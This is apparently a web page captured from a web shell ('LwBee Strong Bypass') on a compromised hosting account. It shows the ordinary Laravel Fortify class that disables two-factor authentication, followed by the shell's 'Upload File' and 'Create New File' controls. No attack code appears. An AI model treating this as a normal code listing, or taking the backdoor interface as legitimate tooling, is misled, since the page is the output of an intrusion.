/home/aloic1/public_html/core/vendor/laravel/fortify/src/Actions/DisableTwoFactorAuthentication.php
<?php
namespace Laravel\Fortify\Actions;
use Laravel\Fortify\Events\TwoFactorAuthenticationDisabled;
class DisableTwoFactorAuthentication
{
/**
* Disable two factor authentication for the user.
*
* @param mixed $user
* @return void
*/
public function __invoke($user)
{
$user->forceFill([
'two_factor_secret' => null,
'two_factor_recovery_codes' => null,
])->save();
TwoFactorAuthenticationDisabled::dispatch($user);
}
}
@LwBee Strong Bypass
Upload File
Create New File